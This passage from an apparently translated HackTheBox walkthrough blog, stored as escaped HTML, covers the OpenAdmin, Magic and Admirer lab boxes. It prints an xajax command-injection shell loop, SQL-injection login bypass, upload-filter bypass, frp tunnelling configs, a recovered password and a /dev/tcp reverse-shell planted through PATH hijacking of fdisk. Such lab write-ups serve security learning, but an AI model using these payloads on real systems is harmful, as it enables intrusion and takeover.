class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#!/bin/bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;URL=&amp;#34;http://10.10.10.171/ona/&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;while true;do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo -n &amp;#34;$ &amp;#34;; read cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; curl --silent -d &amp;#34;xajax=window_submit&amp;amp;xajaxr=1574117726710&amp;amp;xajaxargs[]=tooltips&amp;amp;xajaxargs[]=ip%3D%3E;echo \&amp;#34;BEGIN\&amp;#34;;${cmd};echo \&amp;#34;END\&amp;#34;&amp;amp;xajaxargs[]=ping&amp;#34; &amp;#34;${URL}&amp;#34; | sed -n -e &amp;#39;/BEGIN/,/END/ p&amp;#39; | tail -n +2 | head -n -1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;done&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It then sends requests in an infinite loop, with each request containing the command you want to execute. It is essentially an interactive shell.&lt;/p&gt;&#10;&lt;p&gt;Here I chose to get a reverse shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0469.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried a bunch of things and am not sure which one worked, but the shell came back. As I understood it, the main point of this step was that a reverse shell could give me a tty.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0470.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The reverse shell could not create a tty either, which was strange.&lt;/p&gt;&#10;&lt;p&gt;Maybe I used the wrong method. I left it alone for the moment and checked the configuration files first.&lt;/p&gt;&#10;&lt;p&gt;I did not find anything, but one detail was very strange.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0471.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was the current directory. Its parent was not the default index.html page I had seen, but the framework&amp;rsquo;s configuration directory. www happened to be its web root, which meant that:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0472.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Its apache configuration had to contain indexes for ona and artwork. I first tried to find the apache configuration.&lt;/p&gt;&#10;&lt;p&gt;However, find did not locate it.&lt;/p&gt;&#10;&lt;p&gt;So I searched for artwork instead. That found the directory, and everything became clear.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0473.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing that offered a privilege boundary bypass; everything belonged to www-data. There were several more directories containing applications, however, and two of them had .DS_Store files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0474.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0475.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/gehaxelt/Python-dsstore" target="_blank" rel="noopener"&#10; &gt;https://github.com/gehaxelt/Python-dsstore&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Parsing them did not reveal any special directories either. They were probably included with the project.&lt;/p&gt;&#10;&lt;p&gt;I uploaded LinEnum, but it did not find anything special.&lt;/p&gt;&#10;&lt;p&gt;/usr/bin/python3 -c &amp;lsquo;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;It did at least show me where python3 was, and I obtained a tty.&lt;/p&gt;&#10;&lt;p&gt;I eventually ran out of leads, so I went back and reviewed the website several times. From its php files and related material, I was certain it connected to a database.&lt;/p&gt;&#10;&lt;p&gt;I started digging through the directories and eventually reached /opt/ona/www/local/config.&lt;/p&gt;&#10;&lt;p&gt;There I found a password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0476.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;n1nj4W4rri0R!&lt;/p&gt;&#10;&lt;p&gt;The path forward was becoming clear again. I first tried it against the users under home.&lt;/p&gt;&#10;&lt;p&gt;If that failed, local port 3306 was open—I had seen it while inspecting processes—so I could connect directly and look for other passwords.&lt;/p&gt;&#10;&lt;p&gt;In the end, I successfully logged in as jimmy.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0477.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As always, the first thing to check was sudo.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0478.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could not use it, so my second move was to go straight to the directory I had found earlier.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0479.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had not had permission to enter it before.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0480.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;main.php showed that it directly ran cat /home/joanna/.ssh/id_rsa.&lt;/p&gt;&#10;&lt;p&gt;But when I tried it, I did not have permission.&lt;/p&gt;&#10;&lt;p&gt;I found a password in index.php.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0481.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0482.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It still wanted payment.&lt;/p&gt;&#10;&lt;p&gt;Also, this password&amp;rsquo;s sha1 did not match that of n1nj4W4rri0R!.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0483.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0484.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;su failed, so I kept reading the source to see what was happening.&lt;/p&gt;&#10;&lt;p&gt;It was simple: a successful login created a session and redirected to main.php.&lt;/p&gt;&#10;&lt;p&gt;main.php executed a command to read /home/joanna/.ssh/id_rsa.&lt;/p&gt;&#10;&lt;p&gt;There was no point in starting this php file or moving it into the web directory, because the command would run with jimmy&amp;rsquo;s privileges. Running it manually did nothing for me, and putting it in the web directory would not help either, as shown below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0485.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;All I knew at this point was that joanna had a private key.&lt;/p&gt;&#10;&lt;p&gt;After working on this for a while, I seemed to have exhausted every idea. Then something occurred to me.&lt;/p&gt;&#10;&lt;p&gt;The current file was owned by jimmy, but that did not mean the service that launched it also ran as jimmy.&lt;/p&gt;&#10;&lt;p&gt;In pspy32 I had only seen many apache2 processes with their pids, but no users were shown, so I started checking.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0486.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had assumed that www-data with uid33 was the only user running apache2, but:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0487.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;root had started one as well.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0488.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was an unfamiliar port that nmap had not reported. It was most likely local-only.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0489.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That produced a result: something really was there. Even when using pspy32, I need to remember to investigate manually.&lt;/p&gt;&#10;&lt;p&gt;curl kept failing, so I set up a tunnel.&lt;/p&gt;&#10;&lt;p&gt;ssh -L 8888:localhost:52846 &lt;a class="link" href="mailto:jimmy@10.10.10.171" &gt;jimmy@10.10.10.171&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0490.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0491.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got access, but then had an idea: if this site was running as root, would writing a shell into it not give me root privileges?&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0492.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;My understanding was wrong. The resulting account was still joanna.&lt;/p&gt;&#10;&lt;p&gt;Still, I had finally escalated to another user.&lt;/p&gt;&#10;&lt;p&gt;sudo -l -s still did not work. I did not know the password, but first I needed sudo to work at all, because I truly had no other ideas.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0493.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The login succeeded. Sure enough, after logging in I could run sudo -l.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0494.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0495.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0496.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. This box broadened my thinking a little, although the overall process was still similar to the earlier ones. The main lesson was to observe carefully, and most of the work centered on privilege escalation. It took two hours. The only thing I could not understand was why a shell launched through something running as root landed as joanna.&lt;/p&gt;&#10;&lt;p&gt;I started reading the write-up.&lt;/p&gt;&#10;&lt;p&gt;First point:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0497.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;curl can access main.php directly, but when I read the code it appeared to validate a session first, so that seemed impossible. The image below shows my test: accessing main redirected back to the home page, exactly as the source suggested.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0498.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It did not work through the web page, but surprisingly it did work locally.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0499.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had only used curl against index.php to send the login request. I missed this detail.&lt;/p&gt;&#10;&lt;p&gt;Second point:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0500.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was the reason. The web service was launched under joanna&amp;rsquo;s identity, so even though root started it, its user identity remained joanna. The configuration file was under /etc/apache2/sites-enabled.&lt;/p&gt;&#10;&lt;p&gt;Third point:&lt;/p&gt;&#10;&lt;p&gt;The first time through, I had not found jimmy&amp;rsquo;s password—the database password—because I had not inspected that file carefully enough.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0501.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was visible in the process list, though. There was a scheduled task, which I only noticed later.&lt;/p&gt;&#10;&lt;h2 id="22magic"&gt;&lt;a href="#22magic" class="header-anchor"&gt;&lt;/a&gt;22.Magic&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0502.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0503.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0504.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll jump straight to the conclusion: getting a shell wasn&amp;rsquo;t too difficult.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0505.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The login endpoint was vulnerable to sql injection. Blind injection did not work for me, but I could still enter the admin panel.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0506.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It did not redirect automatically, so I thought I would have to inject manually.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0507.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;However, the Location header indicated a redirect to upload.php.&lt;/p&gt;&#10;&lt;p&gt;The session had already been written to the database, so visiting it directly did not produce a permissions error. I only needed to log in with a universal password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0508.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The upload page used a whitelist, so I will again skip to the conclusion: I needed to bypass it. upload_labs includes a %20 truncation technique. I tried it and it worked, as follows.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0509.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0510.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Visiting the uploaded file successfully returned a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0511.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I began privilege-escalation reconnaissance.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0512.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0513.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That explained why sleep had not worked.&lt;/p&gt;&#10;&lt;p&gt;I had looked through nearly everything, including the Theseus user&amp;rsquo;s directory. The only remaining lead was a mysql service.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0514.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The database credentials I had obtained did not let me su to the target user; it reported an incorrect password.&lt;/p&gt;&#10;&lt;p&gt;ssh also said that only a private key could be used. I&amp;rsquo;ll jump straight to the result here.&lt;/p&gt;&#10;&lt;p&gt;I had checked everything else except mysql, and mysql was not available directly on the target, so I had to forward the port.&lt;/p&gt;&#10;&lt;p&gt;I used frp here.&lt;/p&gt;&#10;&lt;p&gt;frps -c frps.ini&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[common]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bind_port = 7000&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;frpc -c frpc.ini&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[common]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;server_addr = 10.10.16.3&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;server_port = 7000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[mysql]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;type = tcp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;local_ip = 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;local_port = 3306&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;remote_port = 6000&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Just start it up.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mysql -u theseus -P 6000 -p -h localhost Magic&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0515.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The connection succeeded.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0516.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found a password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0517.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I successfully switched to theseus.&lt;/p&gt;&#10;&lt;p&gt;I continued gathering information, but found nothing useful. I checked every suid binary.&lt;/p&gt;&#10;&lt;p&gt;Then I found something interesting. My current user was also in the users group, which matched this exactly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0518.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0519.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I went through everything and only learned that this was specifically intended for the users group. I did not know how to use it.&lt;/p&gt;&#10;&lt;p&gt;I eventually ran out of ideas and only learned from the write-up that this could be exploited. It was quite complicated for me.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0520.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Once I knew the entry point, I started working through it. The commands it invoked had no restrictions, and it executed both of them as root.&lt;/p&gt;&#10;&lt;p&gt;In other words, the first command found through the environment&amp;rsquo;s search path would be executed by root.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0521.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The search order above eventually reached /sbin, where fdisk lived, but none of the earlier directories were writable.&lt;/p&gt;&#10;&lt;p&gt;I could still use export to set a temporary environment variable. After reading about it, I ran:&lt;/p&gt;&#10;&lt;p&gt;export PATH=/tmp:$PATH&lt;/p&gt;&#10;&lt;p&gt;This made it search the tmp directory first.&lt;/p&gt;&#10;&lt;p&gt;I wrote the reverse-shell command into fdisk.&lt;/p&gt;&#10;&lt;p&gt;echo &amp;ldquo;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.3/6666 &amp;lt;&amp;amp;1&amp;rsquo;&amp;rdquo; /tmp/fdisk&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0522.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The connection came back successfully. That was the end.&lt;/p&gt;&#10;&lt;p&gt;This unconventional privilege escalation was a little difficult. The box focused heavily on escalation, and I genuinely did not expect the path from theseus to root to be hidden here. Still, this is a standard oscp box, so I clearly need to broaden my thinking. There are many suid files, and the hints were the current user&amp;rsquo;s users group and the root-owned file with an s bit.&lt;/p&gt;&#10;&lt;p&gt;They matched perfectly. The hint was buried rather deeply. I had also never considered that a command might invoke system commands without absolute paths and instead rely on the environment&amp;rsquo;s search path. That was hidden very well.&lt;/p&gt;&#10;&lt;h2 id="23admirer"&gt;&lt;a href="#23admirer" class="header-anchor"&gt;&lt;/a&gt;23.Admirer&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0523.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0524.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0525.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0526.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0527.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I will give the result directly. ftp did not allow anonymous login, but directory brute-forcing revealed the ftp password. After logging in over ftp, I found two files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0528.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Extracting them revealed an important file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0529.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;http://10.10.10.187/utility-scripts/admin_tasks.php&lt;/p&gt;&#10;&lt;p&gt;Its main behavior was to execute shell_exec(&amp;quot;/opt/scripts/admin_tasks.sh $task 2&amp;gt;&amp;amp;1&amp;quot;) when task was between 1-7.&lt;/p&gt;&#10;&lt;p&gt;So I only needed to submit a number and append a command after it, mainly by bypassing the 1-7 if condition.&lt;/p&gt;&#10;&lt;p&gt;But php weak typing could not bypass it at all.&lt;/p&gt;&#10;&lt;p&gt;There was simply no vulnerability at this point. I had brute-forced nearly every directory I found.&lt;/p&gt;&#10;&lt;p&gt;In the end I found no way forward, so I checked the next step in a write-up and discovered another file named adminer.php. Its name differed from the box name by only one character, but I had not found it. The write-up&amp;rsquo;s next step supposedly followed from a hint, yet I had not noticed any hint at all.&lt;/p&gt;&#10;&lt;p&gt;I now had a new entry point: adminer.php.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0530.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried connecting with the credentials I had obtained earlier, but it did not work at all. This held me up for a very long time. I never expected to get stuck here for so long. Eventually I had no other choice and glanced at a write-up.&lt;/p&gt;&#10;&lt;p&gt;Its hint said that since there was no way to connect to this mysql instance, another approach was needed:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://infosecwriteups.com/adminer-script-results-to-pwning-server-private-bug-bounty-program-fe6d8a43fe6f" target="_blank" rel="noopener"&#10; &gt;https://infosecwriteups.com/adminer-script-results-to-pwning-server-private-bug-bounty-program-fe6d8a43fe6f&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The idea was that CVE-2021-43008 reads files locally from Adminer&amp;rsquo;s host. We only needed to log in and connect it to a backend database; it did not matter whose database it was.&lt;/p&gt;&#10;&lt;p&gt;That gave me another entry point, and this time everything went 